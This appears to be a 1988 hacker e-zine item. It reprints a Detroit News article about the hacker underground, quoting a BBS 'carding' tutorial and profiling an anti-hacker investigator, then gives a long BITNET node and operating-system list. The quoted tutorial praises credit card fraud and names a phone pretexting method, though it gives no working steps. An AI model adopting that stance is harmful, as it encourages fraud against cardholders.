Below is an excerpt from a four‑part tutorial on credit card fraud posted on an exclusive East Coast BBS for elite advanced hackers:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Carding! By Music Major. Believe it or not, without carding, a damper would be put on the computer users of America (and especially Canada). Can you imagine trying to save enough money to BUY a 2400 baud modem and a 30 meg drive for a BBS? Oh, of course it can be done, but considering that a majority of the active computer users are still in school, and most do not have a steady job, it will take too long, and cost too much for this average person to spend on a BBS. Working at minimum wage at a part‑time job, it would take 30 weeks of CONSTANT saving to put up the BBS (with good modem and good drive). Not a pretty thought! When the going gets tough, the tough go carding!

Music Major goes into more detail on later, he warns younger hackers about the possible risks of trying a method he claims he invented: "I have called this method foning for cards. To be convincing, you MUST have a fluent tongue and a semi‑deep voice (skip this part if your voice is still cracking‑‑refer back when you get a real voice)."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Maxfield's operation is called BoardScan. He is paid by major corporations and institutions to gather and provide them with pertinent intelligence about the computer underground. Maxfield also relies on reformed hackers. Letters of thanks from VISA and McDonald's decorate a wall in his office along with an autographed photo of Scottie, the engineer on Star Trek's Starship Enterprise.

Often he contacts potential clients about business. "More often I call them and say, I've detected a hacker in your system," said Maxfield. "At that point, they're firmly entrenched. Once the hackers get into your computer, you're in trouble. It's analogous to having roaches or mice in the walls of your house. They don't make their presence known at first. But one day you open the refrigerator door and a handful of roaches drop out."

Prior to tracking hackers, Maxfield worked for 20‑odd years in the hardware end of the business, installing and repairing computers and phone systems. When the FBI recruited him a few years back to work undercover as a hacker and phone phreak, Maxfield concluded fighting hacker crime must be his mission in life.

"So I became the hacker I was always afraid I would become," he said. Maxfield believes the hacker problem is growing more serious. He estimates there were just 400 to 500 hackers in 1982. Every two years, he says, the numbers increase by a factor of 10. Another worrisome trend to emerge recently is the presence of adult computer hackers. Some adults in the computer underground pose as Fagans, a character from a Charles Dickens novel who ran a crime ring of young boys, luring young hackers to their underground crime rings.

Courtesy of Galaxy Girl and Silicon Thief Major Editing by Knight Lightning Written by Lisa Olson (News Staff Writer for Detroit News)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A few notes: It is my assumption that Music Major's Carding Tutorial was from KL actually four posts made on the Carding Subboard on Stronghold ‑‑‑‑‑‑‑ East. If this is true then it would mean that at the time or previous to the time of this article Maxfield was on SE. This post was probably taken in before the MASSIVE user purge on Stronghold East.

________________________________________

========================================

CONNECTED NODES AS OF 10/05/88

TOTAL NODES = 2491

Node Site System

‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DOCCRC OS CP6

UNCACDC

UNCAMULT

EWC VMS

DKATS11 Aarhus Tek Skole (ATS) IBM VM/SP R4 DKJAU11 Aarhus Tekniske Skole, Denmark IBM VM/SP R4

DKAAUCHE Aarhus Univ VMS

ACUVAX Abilene Christian Univ VMS

FINABO Abo Akademi DEC VMS 4 3

ACADIA Acadia U NOS

IMIAGIP1 AGIP S p.A. IBM MVS/XA V 2 1.5

ALBION Albion College VMS

ALCANKTN Alcan Int Ltd KRDC VMS

FINALKO Alko Research Lab , Finland IBM MVS/XA ALLEGVM Allegheny Col VM/SP

EB0UAB51 Altes Energies‑U A. Barcelona DEC VMS APSEDOFF American Physical Soc UNIX BSD

AUVM American University VM/SP HPO AUVM2 American University VM/SP

AMHERST Amherst College Acad Comp Ctr VMS

TRANAVM1 Anadolu Univ VM/SP R 5

TRANAVM2 Anadolu University, Eskisehir IBM VM/SP R5 ANNENRES Annenberg Res Instit UNIX

APPSTATE Appalachian State U VMS

ANLCMT Argonne Chemical Tech Div VMS

ANLCHM Argonne Chemistry Division VMS

ANLHEP Argonne High Energy Physics Div VMS

ANLMST Argonne Materials Sci and Tech VMS

ANLNBI Argonne Nat Lab Admin NBI UNIX BSD ANLADM1 Argonne Nat Lab Admin NBI 1 OASYS

ANLADM2 Argonne Nat Lab Admin NBI 2 OASYS

ANLEES1 Argonne Nat Lab EES NBI OASYS

ANLNBI2 Argonne Nat Lab EES NBI UNIX BSD ANLEES2 Argonne Nat Lab EES NBI OASYS

ANLEES3 Argonne Nat Lab EES NBI OASYS

ANLEL Argonne Nat Lab Elec Div VMS

ANLEES Argonne Nat Lab Ener & Environ VMS

ANLNESC Argonne National Energy Sfw Ctr VM/SP

ANLOS Argonne National Lab MVS/SP

ANLVM Argonne National Lab VM/SP

ANLVMS Argonne National Lab VMS

ANLCV1 Argonne National Lab Cluster VAX VMS

ANLEMC Argonne National Lab Electron Mic Ctr VMS

ANLVG Argonne National Lab VAX Gateway VMS

ANLPHY Argonne Physics Division VMS

ANLPNS Argonne Pulsed Neutron Src Proj VMS

ASUIC Arizona St U Info Ctr VM/SP

ASUCP1 Arizona State ‑ U Chem/Phys/Solid State ScVMS

ASUACAD Arizona State U VM/SP

ASUERC Arizona State U Eng Comp Ctr VM/HPO

ASUCP2 Arizona State U Lib Arts & Sci Res Cmpt FaVMS

ASUACVAX Arizona State Univ Acad VAX VMS

FRIHAP31 Assistance Publique IBM MVS/SP ACMVM Assoc Computing Machinery VM/SP

AUDUCVAX Auburn Univ VMS

AEARN Austria EARN VM/SP

BABSON Babson Coll VMS

BSUVAX1 Ball State Univ VMS

BARILAN Bar Ilan U Comp Ctr IBM MVS/SP 1 3.5 BARILVM Bar Ilan Univ CC IBM VM/SP R4 BIMACS Bar llan Univ Math & CS UNIX BSD 4 2

BAYLOR Baylor Univ VMS

BAYLRHSB Baylor Univ HSB VM/IS

BCIT BCIT Computer Resources VM/HPO

BCSC02 BCSC VM/SP HPO 4 2

NOBIVM Bedrifts Instit VM/SP HPO R5

BEARN Belgium EARN VM/SP

BGUNOS Ben Gurion U Comp Ctr CDC NOS 2 3 BGUVMS Ben Gurion University DEC VMS 4 5 BGUVM Ben Gurion University IBM VM

BENGUS Ben‑Gurion U Math Comp Sci UNIX BSD 4 3 BENTLEY Bentley College PRIMOS CBEBDA3T Berne University IBM MVS/SP CBEBDA3C Berne University IBM MVS/SP BGUEE BGU Electrical Eng. DEC VMS 3 7 TRBILUN Bilkent University, Ankara AOS/VS V 7.57 TECHMAX Biomed Engineering Technion DEC VMS

BRCVAX Biotech Res Ctr VMS

BITNIC BITNET NIC VM/SP

INTERBIT BITNET‑Internet Gateway VM/SP/HPO

BITNETDC BITNIC Demo VM/SP

BNR BNR Information Systems VM/SP

TRBOUN Bogazici Univ NOS

BCCHEM Boston College Chem Dept VMS

BCVAX3 Boston College Computer Center VMS

BCVMCMS Boston College Computer Center VM/HPO

BCVMS Boston College Computer Center VMS

BCVAX1 Boston College Computer Center VMS

BCVAX2 Boston College Computer Center VMS

BCVAX4 Boston College Computer Center VMS

BOSTONU Boston U Acad Comp Ctr VM/SP HPO BUACCA Boston U Acad Comp Ctr VM/SP HPO BUISA Boston U Admin Ctr MVS/XA

BUASTA Boston U Astronomy VAX A VMS

BUCHMB Boston U Chem Dept VAX B VMS

BUCHMC Boston U Chem Dept VAX C VMS

BUCHMA Boston U Chemistry VAX A VMS

BUENGA Boston U Engineering VAX A VMS

BUMETA Boston U Met Coll VAX A VM

BUPHYA Boston U Physics VAX A VMS

BOSTCIML Boston Univ CIML VM/SP

BUMFGA Boston Univ MFG ENG A VM/SP

BUPHYC Boston Univ Physics VAX C VMS

BOWDOIN Bowdoin College VMS

BGSUSTAT Bowling Green State Univ VM/SP

BGSUOPIE Bowling Green State Univ VMS

BRANDLOG Brandeis Univ Administration (LOGOS) VMS

BRANDEIS Brandeis Univ Feldberg Comp Ctr BINAH VMS

BYULAW Brigham Young U Law Sch VMS

BYUSTAT1 Brigham Young Univ VMS

BYUADAM Brigham Young Univ UNIX

BYUSTAT2 Brigham Young Univ VMS

BYUSTAT3 Brigham Young Univ VMS

BNLDAG Brookhaven Nat Lab VMS

BNL Brookhaven National Lab UNIX BSD BNLVMA Brookhaven National Lab VM/SP

BNLCHM Brookhaven National Lab VMS

BNLCL1 Brookhaven National Lab VMS

BNLUX0 Brookhaven National Lab ULTRIX BROWNCOG Brown U Cognitive Sci VMS

BROWNVM Brown U Comp Ctr VM/SP

BROWNCS Brown U Computer Science Dept UNIX

BROWNHEP Brown U Physics VMS

BRYNMAWR Bryn Mawr College VMS

IDBSU BSU VM/SP

BUCKNELL Bucknell U Comp Services CP6

BKNLVMS Bucknell U Comp Services VMS

BYUCOAL BYU Combust Lab VAX VMS

BYUETIBM BYU Eng College VM/SP

BYUADMIN BYU ISS VM/SP

BYUVAX BYU ISS VAX VMS

BYULIB BYU Library VM/SP

IPVCCN C.C.N. Pavia, Italy IBM VM/SP R5 FRCCSC21 C.C.S.C, Strasbourg MVS

FRCCSC13 C.C.S.C, Strasbourg, France IBM VM/SP5 FRCCSC12 C.C.S.C, Strasbourg, France IBM VM/XA SF2 FRCICB71 C.I.C.B. Rennes BULL MULTICS FRCICB81 C.I.C.B., Rennes, France CDC/NOS/VE FRCIME51 C.I.M.E., Grenoble, France DEC VMS FRCIIL71 C.I.R.I.L., Nancy, France BULL MULTICS ICSCRAI C.R.A.I., Rende, Italy IBM MVS/SP 3 8 IPACRES C.R.E.S. ‑ Palermo, Italy DEC VMS INAMVSXA C.R.I.A.I. Napoli ‑ Italy IBM MVS/XA INACRIAI C.R.I.A.I. Napoli ‑ Italy IBM VM/SP

FRIHBO11 C.R.I.H. VM/SP

FRIHMA21 C.R.I.H. de Marseille, France IBM MVS IBACSATA C.S.A.T.A. ‑ Bari, Italy IBM VM/SP R3 1

FRCTN11 C.T.N. IBM VM

IMIUCCA Calcolo Autom Milano, Italy UNIX 4 3 CALPOLY Calif Poly State Univ VM/SP

CALSTATE Calif State U NOS

CALTECH Caltech VMS

CITXRAY Caltech VMS

CIT4381 Caltech VM/SP

CITDEIMO Caltech Astronomy DEIMOS

CITPHOBO Caltech Astronomy PHOBOS VMS

CITJULIE Caltech CCO VMS

CITROMEO Caltech CCO VMS

CITIAGO Caltech CCO IAGO VMS

HAMLET Caltech C3P/CCO VMS

CITHEX Caltech HEP VMS

CITCHEM Caltech XHMEIA VMS

CANISIUS Canisius College CC VMS

CARLETON Carleton U CP‑6

CMASV1 Carnegie Mellon U Comp Srvs VMS

DRYCAS Carnegie Mellon Univ Comp Clb VMS

CMUCCVMA Carnegie‑Mellon U Comp Ctr VM/SP

CWRU Case Western VMS

CUA Catholic Univ of America CC VMS

CUAVAXB Catholic Univ of America CC VMS

CUAVAXA Catholic Univ of America CC VMS

CATCC Catonsville Comm Coll VM/SP

FRMRS11 CCSJ, Marseille, France IBM VM/SP

FRCCUB11 CCUB IBM VM/SP5

FRCCUP51 CCUP, Marseille, France DEC VMS

CDCCENTR CDC Demo Ctr NOS

CEBAFVAX CEBAF Computer Center VMS

FRSAC12 CEN‑SACLAY DPhPE, Gif/Yvette IBM VM/SP BIBLIO31 Centennial College VM/SP

CENCOL Centennial College VM/SP 4

CFR Central Florida Reg Data Ctr MVS MVS/SP

CFRVM Central Florida Reg Data Ctr VM VM/SP

CMUVM Central Michigan Univ VM/HPO 4.2 FRAIX11 Centre de Calcul Aix‑Marseille IBM VM/CMS FRBDX11 Centre IC Bordeaux VM/SP

FRSAC11 Centre Scientifique CEA Saclay IBM VM/SP FRPOI11 Centre Scientifique IBM Paris IBM VM/SP EMDCSIC1 Centro de Calculo NOS 2‑5‑3 IPGCUIC Centro U Itialia Centrale IBM VM/SP R3 1 LUXCEP11 CEPS, Walferdange VM/SP

FRTLS12 CERFACS VM/SP

CERNADP CERN IBM VM/SP

CEARN CERN VM/SP

CERNVAX CERN UNIX BSD

CERNVM CERN IBM VM/SP HPO R4 2

GEN CERN IBM MVS/SP 1 3.3

CRVXP173 CERN P173 Exp VMS

CRUXNMC CERN P173 Experiment DEC VMS CRUXNMCE CERN P173, Geneva, Switzerland DEC VMS CRUXNMCD CERN P173, Geneva, Switzerland DEC VMS CRUXNHD CERN P173, Geneva, Switzerland DEC VMS CRUXHYPM CERN P173, Geneva, Switzerland DEC VMS CRUXNMC1 CERN P173, Geneva, Switzerland DEC VMS CRUXNMC2 CERN P173, Geneva, Switzerland DEC VMS CRUXHYPD CERN P173, Geneva, Switzerland DEC VMS

UNICC CERN, Geneva, Switzerland IBM MVS/SP CERNEMU1 CERN, Geneva, Switzerland IBM VM/SP CEARNV2 CERN, Geneva, Switzerland IBM VM/SP AECLCR Chalk River Nuclear Labs NOS

CAS Chemical Abstracts Srv ULTRIX‑32 FRCICG71 CICG, Grenoble BULL MULTICS FRGREN81 CICG, Grenoble, France CDC

FRNICE51 CICNT, Nice, France VMS

FRCIRP71 CICRP, Paris, France BULL MULTICS FRTOU71 CICT ‑ Toulouse BULL MULTICS FRCICT81 CICT Toulouse, France CDC/NOS/VE

EMDCIE51 CIEMAT DEC VMS 4 7

EMDJEN11 CIEMAT (Junta Energia Nuclear) VM/SP

IMICLVM CILEA VM/HPO

IMICLVX CILEA, Segrate ‑ Milano, Italy DEC VMS 4 5 IMIVMHEP CILEA, Segrate ‑ Milano, Italy IBM VM/HPO R4 2

ICINECA2 CINECA DEC VMS 4 7

IBOINFN CINECA ‑ Bologna RSX11‑M ICINECA3 CINECA ‑ Bologna, Italy IBM VM/SP HPO R4 0 ICINECA CINECA Bologna IBM VM/SP HPO R4 2 ICINECA1 CINECA, Bologna CDC NOS 2 4.1 FRORS31 CIRCE, Orsay, France MVS/SP

FRORS12 CIRCE, Orsay, France IBM VM/SP R4 FRORS13 CIRCE, Orsay, France IBM VM/SP R4 IMICISE CISE ‑ Milano, Italy IBM VM/SP HPO R3 CITADEL Citadel Military Co of SC VMS

CITADEL1 Citadel Military Co of SC VMS

CITADEL2 Citadel Military Co of SC VMS

FRCITL71 CITI Lille BULL MULTICS

FRCITI51 CITI 2 VAX VMS

CLARGRAD Claremont Grad School Comp Ctr VMS

CLARMATH Claremont Grad School Math Dept. VMS

CLARKU Clark Univ Off of Info Sys VMS

CLVM Clarkson U ERC VM/SP

CLVMS Clarkson U ERC VMS

CLUTX Clarkson U ERC UTX/32

CLGW Clarkson U ERC UNIX

CLMIE Clarkson Univ MIE VMS

CLEMSON Clemson U Comp Ctr MVS/SP

CSUOHIO Cleveland State U Computer Svcs VM/SP

UTORCLSC CLSC VMS

UTORSCS1 CLSC VMS

CMCHEM CMU Chemistry Dept VMS

CMCCVB CMU Computing Services VMS

ANDREW CMU Computing Services UNIX

CGECMU51 CMU Geneve DEC VMS

CMPHYSME CMU Med Energy Physics VMS

CMPHYS CMU Physics Dept VMS

WACES CMU Physics Dept VMS

FRCRPE51 CNET/CRPE VMS

IPDCNR CNR ‑ Area di Ricerca, Padiva DEC VMS IRMITSE CNR ITSE Roma, Italy IBM VM/SP R3

FRCGM51 CNRS ‑ CGM VAX VMS

FRCECM51 CNRS Ctr Metallurgique VMS

FRUNIP11 CNRS‑LITP, Paris, France VM/SP R5 FRPOLY11 Cntr Info Ecole Polytech VM/SP

ICNUCEVB CNUCE ‑ C N.R. Pisa, Italy IBM VM/SP HPO R4 0 ICNUCEVX CNUCE ‑ C N.R. Pisa, Italy VMS 4 7 FRMOP22 CNUSC ‑ Montpellier MVS/XA

FRMOP11 CNUSC Montpellier VM/SP

FRMOP12 CNUSC, Montpellier VM/SP

WMMVS Col William and Mary Comp Ctr MVS/SP

WMHEG Col William Mary Enrgy Grp VMS

CSHLAB Cold Spring Harbor Lab VMS

COLGATEU Colgate Univ VMS

FRCDF51 College de France, Paris DEC VMS

CMR001 College militaire royal CP‑6

CODVM1 College of DuPage Comp. Srvs VM/SP

HLYCRSS1 College of the Holy Cross VM/SP

HLYCROSS College of the Holy Cross VMS

MINES Colorado Sch Mines VMS

CSUGREEN Colorado State U

CSUGOLD Colorado State U

CSU205 Colorado State U VSOS 2.3 COLOSTAT Colorado State U

CUCCVX Columbia U Admin Dept VMS

CUGSBVAX Columbia U Bus Sch Futures Ctr VMS

CUCHEM Columbia U Chemistry Dept VMS

CUCHMB Columbia U Chemistry Dept VMS

CUCEVX Columbia U Civil Eng. VMS

CUCCA Columbia U Cluster Ctrl A UNIX BSD CUCSVM Columbia U Comp Sci VM/SP

CUNIXC Columbia U Ctr Cmptng. Act. ULTRIX

CUVMC Columbia U Ctr for Comp Activities VM/SP

CUVMA Columbia U Ctr for Comp Activities VM/SP

CUVMB Columbia U Ctr for Comp Activities VM/SP

CUMIN Columbia U Ctr for Comptng Act VMS

CUGSBVM Columbia U Grad Sch Business VM/SP

CUCCFA Columbia U Health Sciences VMS

CUHSDA Columbia U Health Sciences VMS

CUMBG Columbia U Molecular Biophy. Graph VMS

CUORCA Columbia U Orthopaedic Res Clust A VMS

CUORMB Columbia U Orthopaedic Res Clust A VMS

CUORMA Columbia U Orthopaedic Res Micro A VMS

CUPHYD Columbia U Physics Dept VMS

CUSB Columbia U Stony Brook Exp ‑ CESR VMS

CUTCV1 Columbia U Teachers Coll VMS

CUTHRY Columbia U Theoretical Phys VMS

CUCISA Columbia Univ Ctr for Clinical Res VMS

UTKVX Computing Center VMS

CONU1 Concordia U Computing Ctr NOS

CONU2 Concordia U Computing Ctr VMS

CONNCOLL Connecticut Coll ULTRIX CTSTATEU Connecticut State Univ Sys VMS

IRMCNR Consig Naz Richerche ‑ Roma IBM VM/SP R3 DKCBS01 Copenhagen Business School, DK PRIMOS

DKTC11 Copenhagen Technical College IBM VM/SP CRNLION Cornell Lab of Plasma Stud ULTRIX CORNELLA Cornell U Computer Services VM/SP/HPO CORNELLC Cornell U Computer Services VM/SP/HPO CRNLASTR Cornell U Dept of Astronomy VMS

CRNLCS Cornell U Dept of Computer Science UNIX BSD CRNLGSM Cornell U Grad Sch of Mgmt VMS

CRNLNS Cornell U Lab of Nuclear Studies VMS

CRNLIMAP Cornell U Mech Eng VM/SP

CUMC Cornell U Medical College VM/SP

CORNELLF Cornell U Production Supercomp Facil VM/XA/SF CORNELLD Cornell U Supercomputer Facil VM/SP/HPO CRNLCAM Cornell Univ CAM UNIX BSD CRNLVAX2 Cornell Univ Comp Servs UNIX BSD CRNLVAX3 Cornell Univ Comp Servs ULTRIX CRNLVAX4 Cornell Univ Comp Servs ULTRIX CRNLVAX1 Cornell Univ Comp Srvs UNIX BSD CRNLVAX5 Cornell Univ Comp Svcs VMS

CRNLMVS Cornell Univ Computer Srvs MVS/SP

CRNLDEV Cornell Univ Ctr Theory & Simul in Sci & EUNIX BSD CRNLCHES Cornell Univ HESS VMS

CRNLASSP Cornell Univ LASSP UNIX BSD CRNLNUC Cornell Univ LNS SUNOS UNIX CRNLMSC2 Cornell Univ Materials Sci Ctr CONVEX UNIX CRNLMSC3 Cornell Univ Materials Sci Ctr CONVEX UNIX CRNLEE Cornell Univ Sch Elec Eng UNIX BSD CRNLTHRY Cornell Univ Theory Ctr. UTX/32 FRIHRO21 CRIH de Haute Normandie MVS

FRIHVG11 CRIH de Villeneuve St. George VM/SP

FRCRN51 CRN ‑ DIHE, France DEC VMS ITOCSIP CSI Piemonte, Torino, Italy IBM MVS/SP 3 8

ILCTEHOL CTE, HOLON VMS

SECTHF51 CTH Gothenburg, Sweden DEC VMS FRCTHO11 CTHO, Orsay, France IBM VM/SP GRPATVX1 CTI, Computer Engineering Dept VMS

CATE Ctr for Adv Tech Educ VM/SP

BBADMIN CUNY ‑ Baruch Col Admin Comp Ctr VM/SP

BBADMIN2 CUNY ‑ Baruch Col Admin Comp Ctr VM/SP

BARUCH CUNY ‑ Baruch College VM/SP

BMACADM CUNY ‑ Bor of Manhattan Comm Col VM/SP

BM002 CUNY ‑ Bor of Manhattan Comm Col Adm VM/SP

BX001 CUNY ‑ Bronx Community College VM/SP

BKLYN CUNY ‑ Brooklyn College VM/SP

BKLYNMVS CUNY ‑ Brooklyn College MVS/SP BKLYNCIS CUNY ‑ Brooklyn College UNIX

CCNY CUNY ‑ City College of New York VM/SP

CCNYVME CUNY ‑ City College of New York VM/SP

CCNYSCI CUNY ‑ City College of NY UNIX

CCNYVAX1 CUNY ‑ City College of NY VMS

SI001 CUNY ‑ Col of Staten Island VM/SP

CUNYVMS1 CUNY ‑ Graduate Center VMS

HUNTER CUNY ‑ Hunter College VM/SP

KB001 CUNY ‑ Kingsborough Comm Col VM/SP

LEHMAN CUNY ‑ Lehman College VM/SP

NY001 CUNY ‑ New York City Tech Col VM/SP

QUEENS CUNY ‑ Queens College VM/SP

QB001 CUNY ‑ Queensborough Comm Col VM/SP

CUNYJES3 CUNY ‑ University Computer Ctr MVS/SP

YORK CUNY ‑ York College VM/SP

CUNYVM CUNY University Computer Ctr VM/SP/HPO CUNYVMV2 CUNY University Computer Ctr VM/SP/HPO HOSTOS CUNY University Hostos Comm. Coll VM/SP

JJAYVM CUNY University John Jay. Coll VM/SP

LAGCC CUNY University LaGuardia Comm. Coll VM/SP

MEDGAR CUNY University Medgar Evers Coll VM/SP

MCVAX CWI Amsterdam UNIX

FRDRFG01 D.R.F. , Grenoble, France PRIMOS REV 21 SDNET Dakota State College VM/SP

DAL Dalhousie U Comp Cntr NOS

DALAC Dalhousie University UCIS VMS

DALADM Dalhousie University UCIS MVS/SP

DKDHI11 Danish Hydraulic Inst IBM VM/SP DKSFI11 Danish Ntl Inst Social Res IBM VM/SP R3 DARTCMS1 Dartmouth College Kiewit CC ‑ CMS1 VM/SP

DAVIDSON Davidson Coll VMS

DEPAUL De Paul Univ VMS

DEPAULC De Paul Univ VMS

DEPAULO De Paul Univ VMS

DECUSA DECUS Symposium Demo Node VMS

DECUSB DECUS Symposium Demo Node VMS

DECUSC DECUS Symposium Demo Node VMS

DECUSD DECUS Symposium Demo Node VMS

DECUSE DECUS Symposium Demo Node VMS

DECUSF DECUS Symposium Demo Node VMS

DECUSG DECUS Symposium Demo Node VMS

DECUSH DECUS Symposium Demo Node VMS

DECUSI DECUS Symposium Demo Node VMS

DECUSJ DECUS Symposium Demo Node VMS

D00DEMO Demo Node Germany

DENISON Denison Univ VMS

FRULM63 Dept Math ENS Paris UNIX

JPNKBUDS Dept of Systems Eng VM/SP

DHHDESY3 DESY MVS/SP

DFVLROP1 Deutsche FVLR Oberpfaffenhofen IBM VM/SP HPO DHDDKFZ1 Deutsches Krebsforschungszentr IBM VM/SP HPO R4 2 DFNGATE DFN Gateway at GMD DA, Germany IBM VM/SP R4 DFVLRBS1 DFVLR Braunschweig IBM VM/SP HPO DFVLRGO1 DFVLR Goettingen IBM VM/SP HPO DFVLRKP1 DFVLR Koeln‑Porz IBM VM/SP HPO DFVLRLA1 DFVLR Lampoldshausen, Germany IBM VM/IS DFVLROP2 DFVLR Oberpfaffenhofen IBM MVS/XA DFVLRST1 DFVLR Stuttgart IBM VM/SP HPO DKDHI12 DHI, Horsholm, Denmark IBM VM/SP DICKINSN Dickinson College VMS

IFICHIM Dip. di Chimica Firenze, Italy VM/SP

ITOINFO Dip. Informatica Torino, Italy UNIX 4 2 IPIINFO Dip. Informatica Univ Pisa UNIX BERKELEY IRM2CIV Dip. Ingen. Civile Univ Roma 2 VM/SP

IPIFIDPT Dipartimento di Fisica, Pisa IBM VM/SP HPO R5

DB0DIW11 DIW Berlin VM/SP

HLSDNL50 DNL Leidschendam VMS 4 6 HLSDNL5 DNL Leidschendam, Netherlands VMS 4 6 HLSDNL51 DNL Leidschendam, Netherlands VMS 4 6 DKDOU01 DOU, Odense, Denmark SPERRY OS 1100

DRAKE Drake Univ VMS

DREW Drew Univ VMS

DRUNIVAC Drew Univ VMS

DUPR Drexel Univ Off Cmptng Srvs PRIMOS

DUVM Drexel University VM/SP

DUPHY1 Drexel University VMS

DUKEFSB Duke U FUQUA Bus Sch VM/SP

DUKE Duke University MVS/SP FREMBL51 E.M.B.L. Grenoble, France VMS

FRERB51 E.N.S.E.R.B., Talence, France DEC VMS

FRENSL61 E.N.S.L UNIX BSD 4 2

EBESADE0 E.S.A.D.E. Barcelona ‑ Spain AOS/VS EARNWRLD EARN Demonstration node VAX/VMS

ECUVM1 East Carolina Univ Comp & Info Sys VM/HPO

ETSU East Tennessee St. Univ VM/SP

ETSUACE East Tennessee St. Univ VM/SP

EWCN East‑West Center VMS

ECLACSVM ECLA, Computer Center VM

FRECCL11 Ecole Centrale de Lyon, France IBM VM/SP R4 FRECP11 Ecole Centrale de Paris IBM VM/SP R4 FREMP11 Ecole des Mines Paris VM/SP

FRHEC11 Ecole Hautes Et Commer Paris IBM VM/SP R4 0 FRULM11 Ecole Normale Super Paris IBM VM/SP FRULM52 Ecole Normale Superieure Paris VMS

POLYTEC1 Ecole Polytechnique MUSIC

POLYTEC2 Ecole Polytechnique MUSIC

POLYTEC3 Ecole Polytechnique MUSIC

POLYTECA Ecole Polytechnique VM VM/SP

FRESCR51 Ecole Sup de Commerce DEC VMS FRESE51 Ecole Super d'Elec DEC VMS

IECSEC ECSEC IBM Rome IBM VM/SP HPO 3 4 RUIPC1E EDS Deutschland GmbH, Germany IBM MVS/XA 2 1.3 ECNCDC Edu Computing Network of IL NOS

CIEARN Educat & Research, Ivory Coast VM/SP

EDUCOM EDUCOM VMS

EDUCOM2 EDUCOM VM/SP

AMBER88 EDUCOM '88 Prime Demo PRIMOS EDUCOMDW EDUCOM 88 Conf. Demo Node VMS

EDUCOM88 EDUCOM 88 Conf. Demo Node VMS

AWIUNI11 EDV Zentrum U Wien IBM VM/SP HPO R4 2 AWIBOK01 EDV‑Zentrum Boku Wien PRIMOS AWITUW02 EDV‑Zentrum TU Wien NOS/VE 1 3.1 AWITUW01 EDV‑Zentrum TU Wien NOS/VE 1 3.1 AINUNI01 EDV‑Zentrum Uni Innsbruck NOS/VE 1 3

TREARN Ege Univ VM/SP

CLSEPF51 Eid Tech Hoch Lausanne DEC VMS CZHETH5A Eidgen Tech Hoch Zuerich VMS

CAGEIR5A EIR, Wuerenlingen, Switzerland VMS

EPRI Electric Power Res Inst VM/SP

DHHEMBL5 EMBL Hamburg, Germany DEC VMS 4 6 DHDEMBL EMBL Heidelberg, Germany VMS

EMUVM1 Emory U Comp Ctr ‑ VM1 VM/SP

EMUVM2 Emory U Comp Ctr ‑ VM2 VM/SP

EMORYU1 Emory U Comp Ctr UNIX1 UNIX BSD

EMORY Emory U Math and CS BERKELEY UNIX EMRYCC Emory Univ Comp Ctr VMS VAX VMS

EMORYU2 Emory Univ Comptng Ctr UNIX

EMRCAN Energy Mines & Resources Can VMS

HPEENR51 ENR, Petten, Netherlands VAX VMS HROEUR5 Erasmus U Rotterdam VMS 4

ESOC ESA ESOC, Darmstadt, Germany IBM VM/SP HPO R5 0 HNOESA10 ESA Europ Space Res Tech Ctr VM/SP 4 2 IFRESA10 ESA/ESRIN Frascati, Italy IBM VM/SP R4

FRESA10 ESA, France IBM VM/SP R3 1

DGAESO51 ESO, Garching VMS

ESASTSP ESTEC / STSP Project VM/SP HPO4 2 FRESTP11 ESTP, Paris, France VM/SP

CZHETH1I ETH und Uni Zuerich IBT IBM VM/SP HPO 5 0 CZHETH1B ETH Zuerich Bibliotek IBM VM/SP HPO 5 0 CZHETH1C ETH Zuerich IKB IBM VM/SP HPO 5 0

CZHETH1A ETHZ/IHP IBM VM/SP HPO 4 2

ROSEDALE ETS VMS

DHDEMBL5 European Molecular Biology Lab VMS

ITSOGS Exp. Geophys. Observ. Trieste IBM VM/SP R4 ERENJ Exxon Res & Eng Co VM/SP

EREVAX Exxon Res & Eng Co VMS

FRFUPL11 F.U.P.L. de Lille, France IBM VM/SP R4 IFISTAT Fac. Econ e Comm Firenze IBM VM/SP R5 DAAFHT1 Fachhochschule Aalen VM/SP

DHNFHS1 Fachhochschule Heilbronn IBM VM/SP R3 DKAFHS1 Fachhochschule Karlsruhe IBM VM/SP R4 DMAFHT1 Fachhochschule Technik Mannheim IBM VM/SP R4 0 DWIFH1 Fachhochschule Wiesbaden IBM VM/SP R3 BNANDP11 Facultes U Notre Dame de la Paix Namur BelVM/SP R5 BNANDP10 Facultes U Notre Dame Namur VM/SP R5

IRMFAO00 FAO IBM VM/SP R4 2

DULFAW1A FAW Ulm, Germany VM/SP R4 5 DS0FBD11 FBD ‑ Schulen Gemein GMBH IBM VM/SP R3

FDACFSAN FDA, CFSAN VM/SP

FNALA Fermi Natl Accelerator Lab VMS

FNALDBG FERMI Natl Accelerator Lab VMS

FNAL Fermilab VMS

FNALB Fermilab VMS

FNALBSN Fermilab VMS

FNALB0 Fermilab VMS

FNALC Fermilab VMS

FNALCDF Fermilab VMS

FNALNET Fermilab VMS

FNALVM Fermilab VM/SP

FNMFE Fermilab VMS

FNALG Fermilab VMS

FNALJ Fermilab VMS

FNALF Fermilab VMS

FNALE Fermilab VMS

FNALMDTF Fermilab VMS

FNAL01 Fermilab VMS

FNAL03 Fermilab VMS

FNAL05 Fermilab VMS

FNAL17 Fermilab VMS

FNAL26 Fermilab VMS

FNAL27 Fermilab VMS

FNACP Fermilab VMS

FNBIT Fermilab VMS

FNALH Fermilab VMS

FNALI Fermilab VMS

FNALK Fermilab VMS

FNCCF Fermilab VM

FNALAD FERMILAB Ntl Lab VMS

DHAFEU51 Fern‑Uni Hagen (Informatik) VMS

DHAFEU61 Fern‑Uni Hagen (Informatik) UNIX BSD DHAFEU11 Fernuniversitaet Hagen IBM VM/SP R4 DHAFEU52 Feruniversitaet Hagen DEC VMS 4 7 FINFUN Finnish S Comp Ctr Espoo DEC VMS 4 1

TRFIRAT Firat Univ VM/SP R 3

FSUSFS Fl St U Spr‑comp Frnt‑end Sys NOS

FSURAI FL State U Rsrch Instrtnl Sys NOS

